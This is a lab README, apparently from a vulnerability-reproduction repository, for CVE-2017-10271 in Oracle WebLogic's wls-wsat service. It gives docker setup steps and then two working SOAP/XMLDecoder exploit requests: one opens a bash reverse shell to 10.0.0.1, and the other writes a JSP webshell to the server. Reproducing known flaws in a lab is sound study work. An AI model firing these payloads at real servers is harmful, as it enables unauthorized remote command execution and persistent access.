Aaron
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100 lines
3.1 KiB
Markdown
100 lines
3.1 KiB
Markdown
# Weblogic < 10.3.6 'wls-wsat' XMLDecoder Deserialization Remote Command Execution (CVE-2017-10271)
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[中文版本(Chinese version)](README.zh-cn.md)
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Oracle Weblogic Server is a popular enterprise application server that provides a wide range of features for building and deploying enterprise applications.
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The WLS Security component of Weblogic provides webservice services, which uses XMLDecoder to parse XML data submitted by users. During the parsing process, a deserialization vulnerability occurs, allowing arbitrary command execution.
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Reference links:
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- https://www.exploit-db.com/exploits/43458/
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- https://paper.seebug.org/487/
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- https://github.com/Tom4t0/Tom4t0.github.io/blob/master/_posts/2017-12-22-WebLogic%20WLS-WebServices组件反序列化漏洞分析.md
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- http://blog.diniscruz.com/2013/08/using-xmldecoder-to-execute-server-side.html
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## Environment Setup
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Start a vulnerable Weblogic server 10.3.6.0-2017:
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```
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docker compose up -d
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```
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Wait for a while, visit `http://your-ip:7001/` and you will see a 404 page, indicating that weblogic has started successfully.
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## Vulnerability Reproduce
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Send the following request (note that the reverse shell command needs to be encoded, otherwise XML parsing will result in format errors):
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```
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POST /wls-wsat/CoordinatorPortType HTTP/1.1
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Host: your-ip:7001
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: text/xml
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Content-Length: 633
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java version="1.4.0" class="java.beans.XMLDecoder">
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<void class="java.lang.ProcessBuilder">
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<array class="java.lang.String" length="3">
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<void index="0">
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<string>/bin/bash</string>
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</void>
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<void index="1">
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<string>-c</string>
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</void>
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<void index="2">
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<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
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</void>
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</array>
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<void method="start"/></void>
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</java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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```
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Successfully obtained shell:
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Write webshell (access: `http://your-ip:7001/bea_wls_internal/test.jsp`):
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```
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POST /wls-wsat/CoordinatorPortType HTTP/1.1
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Host: your-ip:7001
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: text/xml
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Content-Length: 638
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<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
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<soapenv:Header>
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<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
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<java><java version="1.4.0" class="java.beans.XMLDecoder">
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<object class="java.io.PrintWriter">
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<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
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<void method="println"><string>
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<![CDATA[
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<% out.print("test"); %>
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]]>
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</string>
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</void>
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<void method="close"/>
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</object></java></java>
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</work:WorkContext>
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</soapenv:Header>
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<soapenv:Body/>
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</soapenv:Envelope>
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```
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